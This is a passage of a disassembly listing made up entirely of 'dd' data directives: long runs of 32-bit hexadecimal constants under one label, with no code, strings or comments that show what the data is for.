		dd 0B2F29F21h, 0E305EE93h, 18815BD9h, 0B26EABFh, 0E27A274Bh
		dd 0D268DC60h, 628236B6h, 5074816h, 55021D5Dh, 417F4214h
		dd 0F0EE22ABh, 7DE7C306h, 0A0C5B89h, 187960F9h,	1EC02DEDh
		dd 0AE92DDE9h, 40AC1C8Ch, 981DEB5Eh, 0B78A5293h, 31B11F5Fh
		dd 82634AB1h, 0DA2DDD9Dh, 2B88F73Eh, 0A7680907h, 579E05D1h
		dd 9A360279h, 566FE95Dh, 0CC9A2595h, 0AF085A54h, 10782568h
		dd 60EEC051h, 42FCD155h, 80B25152h, 0C680CDB6h,	6F06C87Fh
		dd 0EE286507h, 0F7605DBEh, 4F688105h, 1892D55h,	18DC3364h
		dd 0E042FE31h, 0EF2D048Dh, 60F9FB88h, 2BF671ABh, 948E3EDh
		dd 7C710262h, 0D5294B49h, 80901E2h, 42938E76h, 0DCCB4284h
		dd 68B8D85Ah, 561AAC25h, 94D7EB8Ch, 159D16EAh, 0ED4105A3h
		dd 0C2060199h, 0C8717435h, 0E913EA01h, 1FA35075h, 7EE1F3D2h
		dd 342C9E96h, 80BA65A5h, 451B2D38h, 5D6D2F7h, 4C7801FFh
		dd 0D82E6B2Ch, 0BCECD5E2h, 0EE93718h, 0B0F93151h, 0B3D34B77h
		dd 0C6034DC2h, 250B0D48h, 0CCDC4A32h, 53BF685Ah, 0EBEF8B60h
		dd 6C4B87ECh, 26429CC9h, 200BDDEFh, 2EF63E55h, 81BE23E9h
		dd 0BC7FB2BEh, 92EE83Eh, 45BAD19Dh, 3957AB76h, 0E2D6F1FDh
		dd 6968C22Ah, 4E14D576h, 91E9A5C5h, 0AF84CD59h,	2A7B8B78h
		dd 0C2D849B1h, 69444734h, 0BE563F40h, 14E907A0h, 0D83031C2h
		dd 8591405Bh, 5FD68254h, 69CB210Dh, 0BECCB07Eh,	4CE5EF4Ah
		dd 9C72D648h, 44512DAEh, 60AAE950h, 86C397AFh, 4727CB2Eh
		dd 20A15429h, 0E5A6908h, 8F663910h, 0CE709AA0h,	99524EBDh
		dd 0CE3022Eh, 0FC11F70h, 58AC29C6h, 0E56E9835h,	49761824h
		dd 5C09184Fh, 0FE72022Dh, 0C1F69795h, 6FD00865h, 0EB6C3F0h
		dd 2861C180h, 40E95D7Dh, 59C82058h, 654ECF68h, 4CFF1431h
		dd 0E132C66h, 0E314ECA9h, 0D54612B2h, 3D48F95Ah, 87B362E9h
		dd 4B84C1FAh, 4E948E2Ah, 0B9071AACh, 403E6C1Eh,	0C193E14Bh
		dd 0ACE7CABAh, 260B199Ch, 0C214D781h, 1F30520h,	94BB53ADh
		dd 3A30D04Ah, 5C06071Ah, 63EDC07Bh, 4571035Ch, 92CCCB7h
		dd 69603697h, 1D6BF404h, 554A212h, 9E221010h, 4AD9EC4Eh
		dd 677B0AF1h, 0BDBC27Ah, 9054C4FFh, 407E41D7h, 2D0415C4h
		dd 0CD811901h, 7CB65AD7h, 0C47C86B0h, 0F7F00D5Eh, 2DF0DD58h
		dd 9FBD9A0h, 0C255C681h, 8CB27DC5h, 54E971FEh, 927F69C3h
		dd 0ED4A5D4Dh, 68600175h, 0EA4D3FF5h, 7C692F30h, 40644940h
		dd 72F78181h, 7070D12Bh, 651F690Ah, 0F1013ABDh,	2E540E73h
		dd 84E3A22Fh, 0A3AF97B2h, 91680AEBh, 2E93D555h,	0DEFBBEE4h
		dd 8433976Dh, 0B929EACBh, 9D10BAF8h, 6F925D67h,	45B9CD57h
		dd 17982DB6h, 0BFBCC34Ah, 0EF7DEFD7h, 1213B33Bh, 22BC16E9h
		dd 830B994Bh, 66852F3h
		dd 802FF233h, 11B9F2D5h, 0F5074CE6h, 8E32F706h,	5E09183Fh
		dd 0D84C5005h, 6CDE244Bh, 525B6420h, 0E90798BEh, 489B3C27h
		dd 80D39C1Eh, 7FFBC221h, 8EBE5D90h, 0A103D3Ah, 9A4B9324h
		dd 21895DBDh, 0C30CEE78h, 98CA7C70h, 0AE4D0BF3h, 80DD3892h
		dd 916F47Fh, 0FE892F0Ch, 50A5C1D6h, 7B140B64h, 0F500136h
		dd 0C410883h, 7B447E1Ah, 0A914C0FDh, 0A605A04Bh, 21BB2012h
		dd 0FE946F01h, 0B16FD1B0h, 2A9821CDh, 0C7C5F9ADh, 0BE37AA46h
		dd 0DEF9B492h, 9557479Eh, 227F9A1h, 17685EC5h, 8D4ADD47h
		dd 3F1C080Dh, 71297EE5h, 73498310h, 23DCC90h, 16C80481h
		dd 84FEC45Dh, 546A8BB3h, 13F57933h, 0A874B9C8h,	9EC32B81h
		dd 0EC6C260Eh, 0E29EC74Ch, 0DC2D106Ah, 1E28DB30h, 0F5ECB756h
		dd 0B54A1CB0h, 16AC10CCh, 54964Fh, 23D60667h, 0ED55E90Fh
		dd 656741EEh, 23B767Eh,	77BB519Ch, 1FE564Ah, 541241E2h
		dd 0F7D02B3Ah, 27B802C2h, 2CD4F77Fh, 2D7AC609h,	406F9AD4h
		dd 0B4282DE4h, 313DFACDh, 0BDF3DEC7h, 82C91025h, 0BAF47BEBh
		dd 0DBD99D58h, 0DEA2DD69h, 0E5F65622h, 12F95044h, 186BC010h
		dd 0F3285F51h, 6A53B57Fh, 0C17398BDh, 14A7C571h, 0F432435Fh
		dd 0D2BD6D00h, 0B027E93Ch, 0B63F489Dh, 699C3276h, 5F4006F0h
		dd 304A512Eh, 21EFEB17h, 768D22Dh, 0CDBB2335h, 2D3C673Ch
		dd 680C455Dh, 4022A7E8h, 57049CA3h, 7EC9C3EAh, 3C77D518h
		dd 90525857h, 98F69A3Ch, 7BDA2268h, 0A8B1C61Dh,	0F8CCEFDEh
		dd 0ECF1762h, 20844DA0h, 9060C7CFh, 52D0151h, 494A341Dh
		dd 0B896BE5Dh, 7042EB5h, 2B568907h, 860065E5h, 385B3BE3h
		dd 0A47F7DE9h, 55B5139Ah, 0F20F00E7h, 64C66110h, 8241E925h
		dd 0E1D1F6B5h, 17703C0Fh, 0B2521350h, 0E1FABBFh, 0C292DA9Fh
		dd 8BE18A05h, 25446CF4h, 0DE7CC328h, 0E9F2703Bh, 0B9886E2Ah
		dd 39614601h, 0CE89596Dh, 82A55E28h, 0EC0BDC11h, 4D9B80DBh
		dd 0BC5B9F81h, 0D396591Ch, 402B62B4h, 0AB70BB4Ch, 54351B24h
		dd 825DD205h, 9587FC04h, 0EACBBAECh, 0D6FEA8D7h, 87178C10h
		dd 9357EDD1h, 2EF7E9F0h, 2F949D9h, 740C6DE2h, 536A82C0h
		dd 0CC516032h, 0BF0F059h, 236B3BBCh, 77B95800h,	0F6F80C61h
		dd 0AD02AB03h, 7145E97Dh, 27250764h, 5E6D3759h,	0F204FC7h
		dd 55E1DDE9h, 1262C3BDh, 0CCC9E14h, 9B073A74h, 0CB019F9Dh
		dd 5ED6AFD2h, 8566D802h, 4019C840h, 879C2D44h, 6DDE60ADh
		dd 0A08BA6F8h, 0E0161D0Ah, 9D729D39h, 0EFAC8E6h, 0A94AA425h
		dd 0CEF38468h, 0C55BFC12h, 0FD4004E0h, 0E9E820F5h, 5BDAA957h
		dd 0CBC8A22Ch, 6889B1A4h, 9B3942A3h, 43C1A987h,	838EEE63h
		dd 307C39D7h, 924A1217h, 0BCE0508Ch, 83B409FFh,	769D8E7Dh
		dd 20167FBCh, 523562B8h, 8499E9E0h, 52A8F3B1h, 5D7DCB73h
		dd 0A90B8F5Bh, 0FE1C9650h, 0DDD14F4Ah, 7BE22A42h, 5A9340D7h
		dd 8007EAC0h, 0FE3AF20Eh, 9CC24ACAh, 0AB209D0Fh, 0A80C4359h
		dd 4A7F6853h, 0D1FFCC54h, 0B86540h, 3640264Bh, 64838C05h
		dd 5EF1845Eh, 0F853172Ah, 0F7D2A9E3h, 485D8E32h, 9559CDC7h
		dd 6F02EA2Bh, 41903BE6h, 198251A5h, 226BBA6Ch, 96D5D094h
		dd 0F5A825FCh, 0C15EA37Eh, 1F55B914h, 4F426314h, 0EF852DBCh
		dd 0BD86FC07h, 489A006Eh, 310194E9h, 2E44F74Eh,	7C14B50Ch
		dd 0C4507C07h, 0EB5AB525h, 0D2C2924Bh, 78CCED5Bh, 5EB22D15h
		dd 880B1F2h, 0E64B8CE9h, 8F58B3CEh, 0F5A078Bh, 2C73C307h
		dd 0CB603C32h, 0F17954B7h, 0EE3BB02Fh, 13102210h, 790CEA37h
		dd 5B746362h, 5812022Ch, 0E46871F3h, 56680483h,	0CAF2AA14h
		dd 72580AD4h, 0F980E720h, 4A3D3129h, 0FDB9974Fh, 96C920FCh
		dd 9A203F4Ch, 5A66178Dh, 6B1DB130h, 449797B6h, 82D028B7h
		dd 74C4B8F4h, 0A21222h,	4B6B32E7h, 50D7F778h, 7B95100h
		dd 0E9369370h, 0A5CF4F2Eh, 92EC0767h, 0F7D4CD37h, 0AB45F389h
		dd 6BDAD678h, 0FA97E80Eh, 41A3FE21h, 46D6E812h,	200E3146h
		dd 521FC296h, 0B7DADFB6h, 0C6B43C3h, 0BAB84E8Ah, 0E540C546h
		dd 9678955Eh, 0EB562907h, 8E3B8314h, 48BAD3A1h,	0F5877950h
		dd 12FEB3D5h, 0DCEFBA84h, 0F525E940h, 73E95A69h, 9800B54h
		dd 8C904F5Fh, 0BBD39037h, 0CF2F43FCh, 902DA374h, 0CE44B1ECh
		dd 0F10F1EBCh, 0A7EE18FDh, 153ABF57h, 175267Dh,	6B092C3Fh
		dd 586ABD80h, 2C2117EAh, 0F555DEEh, 204125F6h, 31F70115h
		dd 1C5DF6E8h, 0B8565E41h, 3AE9E1DFh, 90599B94h,	8B032307h
		dd 0AE5F194Bh, 62B06135h, 0D03E74EAh, 6D04CB3Bh, 0CE143B2Ch
		dd 53FEA801h, 0C7C5E9BEh, 2BCF8803h, 509804FFh,	0F5211991h
		dd 0B9F783DCh, 6B68610Ch, 2F2F3457h, 0A23A6141h, 0C42D59C6h
		dd 0CABFBDD5h, 0E6A9127Dh, 8864A830h, 4A82F602h, 5F5EE340h
		dd 0E1168A82h, 847A5591h, 5D070027h, 3DE9C909h,	6CDDEEAAh
		dd 5B7BF80Ch, 0CFD3AC07h, 0F0BA4951h, 0E0F4E823h, 4CBFE0ACh
		dd 165AF50Ch, 2B5CEE41h, 0BFFCD7D2h, 0BB97C0B1h, 0AD2C30A1h
		dd 4E1F68ACh, 72253Ch, 0C1B5FA14h, 0C999F528h, 2801DC2h
		dd 0F7E3F988h, 0ACE3CFA2h, 32F258EAh, 0CD8EE0Fh, 0F81672DEh
		dd 273D51BEh, 0BA6C68C4h, 0BA5812E2h, 47A8F619h, 57C83BEBh
		dd 47D74190h, 2903FCB8h, 0C562CD65h, 0F5026BA2h, 76E65C7Dh
		dd 2979FF0h, 95522FFh, 62E530E0h, 0EF3C0083h, 336D138Fh
		dd 0DEFCF829h, 30AF804Ah, 1DB050E9h, 0E02D5194h, 29E9109Bh
		dd 8A76151h, 109BADFh, 4BC1F9F9h, 2D01FFD0h, 7AE1762Ah
		dd 0C685D001h, 0EEFF13ECh, 623E39C0h, 31C5AE2h,	8514E95Ah
		dd 4122D150h, 0DF6470Ah, 720F45Fh, 38B25B68h, 7B02BEEAh
		dd 7F25C879h, 6F61D8AEh, 40183F75h, 436133C8h, 9A0E409Fh
		dd 2C4DFE1Fh, 2034F329h, 20519808h, 6816637Fh, 0E76179DAh
		dd 80023FC7h, 2EF7FFC2h, 7E5BA9E1h, 45792D90h, 97F3412Dh
		dd 2E42093h, 6466840h, 18B427A6h, 7B95B5B0h, 4C3230E4h
		dd 0F997C830h, 0E64C54Bh, 841DA6CDh, 0D073E1E9h, 0B968C8D9h
		dd 3A314855h, 68A66213h, 41D88410h, 9A2BDCF0h, 1466C49Dh
		dd 0CC1D375Dh, 8F04D002h, 0CA760106h, 0DDE9F004h, 0EB9913EEh
		dd 0FC24CC75h, 0EB5400FBh, 0E9644C6Eh, 79966725h, 4D7549E6h
		dd 0B14CA7CCh, 13AEC920h, 0AF2D5D5Fh, 0D217225Fh, 0ADCA1D84h
		dd 5A7D2580h, 2D050FBEh, 3260A30h, 40A4FE12h, 0B4B34AE9h
		dd 4E567E9Ah, 62A02FF5h, 9E16D564h, 0C0DFF600h,	0CF8008E7h
		dd 3EFE5870h, 0BF57E828h, 0D9EE9E8h, 7F79E125h,	42F41A98h
		dd 7BEC4CB5h, 0A2972F52h, 0BB25AF4Ch, 70CED61h,	0B9406853h
		dd 0E9C27CD4h, 250658CDh, 6D7C048Bh, 5A0BB473h,	0CF5FA15Ah
		dd 17DB0507h, 0E6A880BBh, 4B5D0CC5h, 0C46DB242h, 68027ADFh
		dd 626C1F5Fh, 8EF820F3h, 6B7641B5h, 479F8007h, 0C2B7E6D8h
		dd 48F1551Bh, 0FE972426h, 5D1097ADh, 67BD013Dh,	4D264232h
		dd 90766D30h, 93F3700h,	0FAF19124h, 0DE02A77Fh,	6F68055Eh
		dd 0DEF5EC5Fh, 9D20A647h, 0C7E782BBh, 8C19FF5Eh, 130E6B80h
		dd 0B2140205h, 648E6134h, 4B1D616Bh, 0F381005Ah, 9F5C2DE3h
		dd 2B886EC0h, 4A983975h, 0F277E1Ch, 5FFB0944h, 805A51BCh
		dd 64DA1477h, 8C80FE4Bh, 0A8D660E9h, 0B357959Bh, 96220B50h
		dd 54161CF9h, 50988622h, 0EEC01309h, 2D74A606h,	77160E7Ah
		dd 5F678F01h, 943441A5h, 2F731D61h, 3DF78166h, 6CD896A1h
		dd 0AFE93C56h, 0EF1C566Dh
		dd 0E272A464h, 8892C6Ch, 0FFB00D1Dh, 25F3E1F7h,	443A805h
		dd 0FA5019F2h, 1C4F2117h, 7813458Bh, 3BBFE93Ch,	795CCCCBh
		dd 20C16812h, 0B7C417F8h, 809F81C5h, 2668C4EFh,	0BA436F62h
		dd 256E52BCh, 41FE02C2h, 882CD278h, 199F3C3Eh, 11A53655h
		dd 0D85C864Ah, 80591D58h, 0BAB8EEC1h, 3A21EDA0h, 0CBFC787Eh
		dd 82BF149Fh, 50215C87h, 0EF2FE954h, 13B24563h,	4089AD5Fh
		dd 46000B9Ch, 6992053Ch, 28297A41h, 98072DC8h, 6A262081h
		dd 142D7DB0h, 2F1E6649h, 659F93Fh, 0A434EFC4h, 438A306Ah
		dd 1F181215h, 8A01BA71h, 36976616h, 3995C12Bh, 80477106h
		dd 0ADC92F0Eh, 0BAC8E9A6h, 0B3BA05D1h, 0C02C6818h, 19E18DE4h
		dd 0B2A1D34Eh, 0AA38182Eh, 5880C76Fh, 92681755h, 2473454Fh
		dd 0C31BF30Bh, 2E786BE9h, 0EEDB236h, 14125AD1h,	0AB2D17E8h
		dd 5744F4DCh, 0FA84882h, 1F102035h, 0CE8103DAh,	8F686FF6h
		dd 0D93C42B2h, 700F4290h, 29CF307Eh, 1EF5DA5Bh,	92DEF65Eh
		dd 0BB15B001h, 0B21EBA00h, 0C1CB816Eh, 6103272Eh, 0ABFAF5Ch
		dd 99567C77h, 0F0B24300h, 0BEDD310Fh, 10ACCA4Fh, 0A19A504Bh
		dd 0EC2FA941h, 5037180Eh, 2460216Bh, 2A10369Fh,	325A90EBh
		dd 0C7DD8951h, 7D7EAF55h, 1853B65Ah, 5E316636h,	2F78A7F0h
		dd 39635256h, 344FA9E9h, 0EB21EBE3h, 8C2F3AA2h,	68E18B7Fh
		dd 0F6EB02CBh, 0C13AEC63h, 0BA04E45Bh, 0E875525h, 0CE7C21C2h
		dd 39C6265Ch, 7848C270h, 0EA40B4F6h, 58EF8A53h,	0E8377A66h
		dd 0BEF2C4F1h, 0EED83BF1h, 0F0772689h, 799A08CCh, 0F12F319Fh
		dd 0C488085Dh, 419A5C1Dh, 2A1660C3h, 6C702C50h,	0C4800E96h
		dd 0E901F3C2h, 54694354h, 6370E17Ch, 4F6E8BC2h,	316EE569h
		dd 0C480B3C8h, 0FE16BFF3h, 60A0D0CBh, 51500012h, 0B25226B5h
		dd 0C970B095h, 0D0B55AFEh, 0F024C9C2h, 0DBC2A242h, 0D59CA4C0h
		dd 808D7082h, 7D3C2E88h, 91792D6Fh, 87896CCDh, 13C8F30Ch
		dd 0E90E0E5Ah, 0BED7814Bh, 0EF5695B2h, 7A11E961h, 4EA6DD5Ch
		dd 3B12994Dh, 483D50F0h, 0F118DF9Ch, 0C5E90D6Fh, 7DB34749h
		dd 0C361870Bh, 3C8F0552h, 741A9B25h, 57D05740h,	6DEECC0h
		dd 4C29173Dh, 84128CAh,	1029A26h, 4F7C68FAh, 2C27E675h
		dd 0BB297581h, 8E0F302Dh, 0F8394465h, 93EC9104h, 4C641ABFh
		dd 5E251551h, 7D5AF197h, 0DC0D124Eh, 0B554033Ch, 0E820FFCCh
		dd 0B10B644h, 0BBC5F51Fh, 0ED101491h, 37F85E38h, 20CBF107h
		dd 0FACAC2CFh, 0D59EDAE6h, 1C0B6804h, 8DEA31ABh, 0FB84D726h
		dd 0EE4940CCh, 3F9E09C9h, 1600224Fh, 1B4C15CFh,	86B9E916h
		dd 1377B7E4h, 0C046923Ah, 19583E67h, 2802B6BCh,	5A3C607Ah
		dd 328EFE99h, 1942D74Dh, 0A03539DDh, 44927BA0h,	0D617F3F1h
		dd 7D20D41Fh, 0FFD1DA9Bh, 7E3EB17Ah, 7ABB3C40h,	0C1523563h
		dd 0F5C1ED90h, 77B13F29h, 0D4EED614h, 4BBBC31h,	16BA73AAh
		dd 4A2DDEFh, 39F3AF0Ch,	0EDC6EC1Ah, 6AED3450h, 5D960D2Ch
		dd 295874B2h, 257EFD46h, 4B6C891Ah, 0CC760D6h, 51E063F2h
		dd 4B68840Fh, 50DBEB28h, 7FD6D94Fh, 0ADB84584h,	25AE68CAh
		dd 4572307Eh, 4AE62758h, 754B64FAh, 78CCACD2h, 1D79BF8Eh
		dd 0FC2DAC48h, 0DF465A49h, 685FFB25h, 9A82E942h, 0F8313E21h
		dd 7DDC212Fh, 0EF56A713h, 0C3116CA6h, 0F9C70081h, 0F72B8434h
		dd 40E998D7h, 50ABF6Eh,	0E00BA90Eh, 59599149h, 0F15CA02Ah
		dd 0CD9BB8ABh, 92EB47B9h, 84EEEE53h, 8F82FFB9h,	0D629803Ah
		dd 0F9167356h, 4679BAA7h, 38096768h, 35B802C1h,	14DB9137h
		dd 0B0F59802h, 0F58DE9DBh, 0A52A6C65h, 7DAF3853h, 0A3CF7332h
		dd 6924740Ah, 37030138h, 201DD88Ah, 95A319h, 9F77D92Bh
		dd 69C8C80Ch, 24096805h, 3685D8EEh, 0F1704F81h,	0C14C959Bh
		dd 5FF281h, 3D4F81BFh, 0BB2F7138h, 0B707A38Bh, 1DD993E5h
		dd 0B85C94D9h, 59C80316h, 0D92B2C5Bh, 0AA3CCDE0h, 0EA7DC281h
		dd 0FF2C3E0Bh, 0B0431216h, 7ABBC054h, 59603264h, 8B2D220Ch
		dd 8A2B9F0Bh, 36864602h, 0D1C83377h, 0CA6DEC8Eh, 0A20B2D77h
		dd 99814E6Eh, 0C3399C8Bh, 455B1A8Bh, 7652D90h, 76FD6805h
		dd 5A260998h, 40A9F7EAh, 0F780E08Dh, 0B56813E1h, 825E8C63h
		dd 4EC3F444h, 0E6D5CC7Eh, 71BCAD4Eh, 68010EB2h,	0DB584AD2h
		dd 0EB82F7D8h, 14875DEAh, 0C17E7FDh, 0E75935F3h, 0A97DEF12h
		dd 0DEE83B04h, 68E02CBEh, 0C774712Dh, 0BFC513F7h, 0ED817C5Dh
		dd 72A22A01h, 7C6D1899h, 3DAC3A2Bh, 1CA00841h, 5FE91214h
		dd 10A9A9ABh, 627BEF3Eh, 30ACA1A3h, 529262C1h, 0F5DE5FDAh
		dd 0DE743705h, 2127A5E8h, 7EF99DF0h, 54CAC040h,	2563785Ah
		dd 3DDDAF7h, 0F01A14D1h, 1C684CE6h, 4A4E2B9Ah, 0B8D877E9h
		dd 0AB0152h, 5E364F8h, 0E8E417A2h, 10FE63A6h, 810AD37h
		dd 52107387h, 47B1AE5h,	105F8C28h, 8C863A7h, 18107D1Eh
		dd 627DCB6Bh, 9B55107Ch, 32FE102h, 8185A49h, 0BD1890DCh
		dd 0CCBC8088h, 437410C4h, 0F141220Ch, 62094E40h, 0ED5D0895h
		dd 10143D03h, 18B6D120h, 96101228h, 0C408C434h,	93710615h
		dd 13D62020h, 10EA2F33h, 978110C0h, 0C5AB1099h,	312C7010h
		dd 6AEB7966h, 0A9109203h, 33108012h, 94871910h,	8886581h
		dd 0B0CC4D2h, 80F0D975h, 8C459CCh, 0BB069AFAh, 0D4202065h
		dd 0F1F963F1h, 8108D1Ch, 0B6106DFEh, 0C0213E35h, 306B6324h
		dd 8186908h, 52187812h,	0D308C476h, 7A190664h, 5BD82020h
		dd 10ECCC33h, 0BD1910C5h, 9F5330Bh, 31791006h, 97621861h
		dd 8003D528h, 10C6DF8Fh, 2008D342h, 0BE20F214h,	2BFF37C7h
		dd 1CE7E428h, 4125BD0h,	0A92C5942h, 0CA852D7h, 913B84A4h
		dd 78BC438h, 4304B4F4h,	79860460h, 4509390Ch, 0A518E063h
		dd 18081987h, 8C98189Fh, 108C8159h, 0B1D440F0h,	0DEA6D0A8h
		dd 8053EB80h, 1C806B4Bh, 0CFAA80B9h, 0C637FD80h, 8237B18h
		dd 0EBF17466h, 0A7D220C1h, 1568CE49h, 31C85D10h, 0A09D1029h
		dd 5C18088Ch, 0B7635B18h, 3154EC08h, 4DD96918h,	480888A1h
		dd 659408A8h, 85AF708h,	31B1FD5Dh, 408A9694h, 90F863BAh
		dd 545F2407h, 10C479B9h, 9F06AF0Ch, 9920088Eh, 1B6624A2h
		dd 0D91B1BCh, 0A2170277h, 372B5ACh, 102A4AF1h, 1575E470h
		dd 9AAA7880h, 514D04h, 3F080631h, 3C4D011Dh, 11104803h
		dd 0B0314732h, 8C83D9D1h, 828CE10h, 18766F6Ch, 0D40C5B48h
		dd 0C6DD1074h, 185864B9h, 6E5DA122h, 0E6081019h, 8BA970Ch
		dd 778240C2h, 0A68D69C5h, 24F3D849h, 330ACACCh,	32199CB8h
		dd 0E4A48E48h, 87FC9193h, 1CB9AA74h, 0D9C81875h, 6975084Fh
		dd 2A17908h, 0E8FC9C60h, 6097A464h, 0C74DD5E2h,	8EC78B3Eh
		dd 904AED44h, 752C4773h, 13EB020Ch, 6FB90E89h, 5403DA7h
		dd 408F4401h, 0C90B4901h, 748BF775h, 0DED0A561h, 0A8F04F03h
		dd 0C033873Bh, 4FB10F80h, 422CD330h, 4434685Ch,	132DF5CCh
		dd 60DA7C2Dh, 0E8BAABEDh, 0EB294D17h, 0ECB5E8FCh, 0B78B066h
		dd 0A8425AA6h, 0F0283999h, 0CFFC2FE1h, 0E9C009A0h, 60C4292Eh
		dd 0AEDD329Dh, 57B11827h, 8D69552h, 6B1BE9F8h, 5453F227h
		dd 82D91027h, 11F086FFh, 80301A60h, 3BC048CEh, 3C7304E6h
		dd 27FBFEE1h, 0CCDE6BF6h, 89EB9F3Dh, 0E9F9C381h, 388439C9h
		dd 0B36C295Fh, 76DE0FB3h, 8DEE32F2h, 87F27A4Dh,	5A4EFDC4h
		dd 132EC0E2h, 0AE56D34Ah, 1DBBD600h, 0BC432167h, 908B8B85h
		dd 0A696B0D5h, 726FFF11h
dword_49C85C	dd 53F3586Ah, 0F967071Fh, 289F437Eh, 75273C6Fh,	0B03A1889h
		dd 0EECE3164h, 0EE66C98h, 6412E28Eh, 0AB1181h, 1DD32502h
		dd 0ACBF1BD7h, 79F0DB57h, 0E9F1C201h, 0CEDF5188h, 0D5014B74h
		dd 4E7CE8F0h, 6A015DA8h, 0E9268D21h, 5F48245Dh,	1769D2ECh
		dd 82DDF4A4h, 81454F2h,	5B295500h, 0C2229413h, 0C6FDF1F6h
		dd 7E5823B0h, 7FE7B42h,	0CBDD6258h, 4A20834Ch, 0B951027Dh
		dd 1DFF0A85h, 852CFFE1h, 180F6890h, 9F89A6B4h, 0EB8262F9h
		dd 4A094C52h, 9047DD01h, 502BFEA7h, 0C8A6296Eh,	827A659Eh
		dd 8D17A7h, 83BA5250h, 23666B19h, 0A0FB2CAAh, 35BB82Fh
		dd 0E9F41554h, 583B3FDCh, 81481959h, 173AFD6Fh,	616CAEC9h
		dd 27D52FE9h, 77CB94F9h, 1F2DB31Eh, 4FF47C4Ah, 7E47BB06h
		dd 260220FDh, 74837104h, 0CBFFDE31h, 4D9A091Ch,	0FBAC401h
		dd 215C790Ch, 0BAFD7EA5h, 0FE83A627h, 0E18F3FEEh, 3941EC9Ah
		dd 0CF03F970h, 316B27B6h, 6AB3F9CBh, 82E48E2Ch,	44081C19h
		dd 428D62h, 8245C29h, 2B055B4Fh, 89459468h, 0FC2081E9h
		dd 3D50E0C5h, 30944E85h, 0AED3802Ah, 67BBEC44h,	50B588AEh
		dd 85126843h, 35CCCA4h,	239B561Fh, 63573B4Ch, 21B0FEBh
		dd 5064FF34h, 5A0F12E3h, 0D7C70473h, 0AB0325FAh, 0EF46238Ah
		dd 0B269D84Ah, 4ACF3749h, 3BA88181h, 6F05F681h,	7F7E923Fh
		dd 4B071810h, 0CEA57D29h, 0C5161C73h, 0E604DDFCh, 80762C5Bh
		dd 0D3A41E72h, 84E0894Ah, 7F90F987h, 57581C75h,	0EBB2F1A7h
		dd 201D9777h, 1BFE3CC2h, 68840930h, 539C51C3h, 3E405F69h
		dd 0EF38305Ah, 8BD71559h, 20531384h, 4DB8A330h,	0AE20018h
		dd 0AA4F2C2Dh, 0E8018333h, 79F505FFh, 0E7D406A3h, 3E0D30D7h
		dd 8A1B717Ah, 98317B41h, 35650805h, 17F81FCh, 1AC6BEF5h
		dd 20E82107h, 0B7B19864h, 89682FBCh, 3895002h, 3332E381h
		dd 89F75DFAh, 0FC25D25Ch, 7AE9D053h, 5E245267h,	7D6C7762h
		dd 4EDC9D18h, 0D7AE11D2h, 0AFEBB2CAh, 4DF2D00h,	4CA5904Dh
		dd 84227C8h, 3C5B5927h,	9C1B440Fh, 0A0267229h, 0AF89021Fh
		dd 7709EEFEh, 0C9665368h, 38060748h, 0EC2F0B69h, 0D7E9070Bh
		dd 47029CFh, 0E3B8ECC9h, 81B2BD4Fh, 2CB350F8h, 521CC03Eh
		dd 0D69237E9h, 54F4498h, 8917E3CDh, 0BD031544h,	0EB21EB0h
		dd 6124C7F6h, 0E90B0111h, 3B74F2F4h, 45A59ABBh,	61B7401Ch
		dd 2F119A16h, 0B27CF6E6h, 0A0096B28h, 0D5ED6BFCh, 0D4315384h
		dd 6EC2BE41h, 70EDE005h, 1E19277Fh, 0FA6034D9h,	9874B222h
		dd 50480CEEh, 310C2807h, 2B4898EAh, 0CE6544A2h,	0EAF18728h
		dd 118D113h, 69201730h,	2149139Bh, 0B5C00BD3h, 50825112h
		dd 16754EE3h, 0B40620CAh, 9ACD013Bh, 820E2116h,	7DC24D32h
		dd 260B8465h, 5894FE35h, 6ECA152Fh, 1A099B5Dh, 16B22B17h
		dd 7D47A1F4h, 23987F86h, 8101D901h, 1952A0EEh, 467B5971h
		dd 872539BAh, 5D0BF376h, 0F08974E3h, 58C226B4h,	0D0BD36Ah
		dd 101F51E9h, 0FF402BDFh, 0BF7CD9C7h, 0D0BC7A6h, 0AF0768h
		dd 453427E7h, 36FD1B5Ah, 45410841h, 2AA692F9h, 90D25A59h
		dd 13ADE924h, 6439B980h, 0A32934FBh, 971EAAEh, 0F6392055h
		dd 5A52DD5Fh, 2540F102h, 0FAB66EDBh, 0AC93D86h,	2D7C52B5h
		dd 9B98FA21h, 20CF290Bh, 0D9B1C654h, 205C7C0Ch,	0CF90C1E6h
		dd 0D83DD40Fh, 0DC4F6536h, 2895E944h, 0B91E52h,	33BC2373h
		dd 97647FE9h, 53BB04EFh, 2DB4ACA2h, 0E3D85EBDh,	0C5D5210Ch
		dd 483D930h, 0CB17A20Ch, 988B105Eh, 14A5D3BCh, 99F1EF0h
		dd 49A0B2FCh, 3DA4318Dh, 831B589Dh, 6B12A807h, 0B047A7Fh
		dd 1ADA08F6h, 520154C8h, 5B28E980h, 0AC489541h,	7E38059Bh
		dd 0CFED14B5h, 0CE17964Ch, 0CDC0C071h, 107F7352h, 0A4F14D7Dh
		dd 0A96F10FEh, 1CBEB939h, 94452A0Ah, 1C78102h, 0FF6E061Ah
		dd 508D1A8h, 0BE3C875Ah, 7268CADCh, 0CF0F9490h,	0FF74AF44h
		dd 0D1F44E2Dh, 21ABB19h, 6DD441D5h, 21666540h, 1334409h
		dd 461807D6h, 4FAC170Eh, 722626D8h, 0E94DDF05h,	62FCA983h
		dd 0AAD6F785h, 5C0D8D36h, 904425Bh, 0BCA03284h,	0DB68095Fh
		dd 9E94577Ah, 95FFEC95h, 0C342F2F6h, 0D8F700F8h, 970F2D48h
		dd 0A53FE064h, 0D65AA1A7h, 6E84D52Ch, 1DE0172Bh, 0EB3C1388h
		dd 5F80B14h, 47D4132Bh,	0DBB8402Dh, 0D014C05Ch,	0ADF680EEh
		dd 5AF5201Dh, 0ED0BD55Eh, 0FB805D42h, 0FE86B252h, 0BD04C26Fh
		dd 0FD28BE09h, 221D8090h, 0E63426B2h, 0DAC70604h, 0AF634460h
		dd 0D6F71328h, 98100746h, 0A8B98467h, 0C70973BEh, 20AC2CE9h
		dd 0B2320994h, 0E1EFFF50h, 94281C90h, 6B848BDEh, 0F0F3257Ah
		dd 595A2F2Dh, 0F25FCEE3h, 28AB93DEh, 0D15E88C8h, 129F1CA0h
		dd 0F1FEE6Fh, 0E2C1F9F7h, 3B01051Dh, 0BD800EA2h, 0F7A63ADh
		dd 433AE916h, 27E1645h,	52FA98EAh, 0B309507Ch, 8211292Dh
		dd 0AFB1D235h, 5ED80427h, 83BEEB4h, 895CA421h, 29187149h
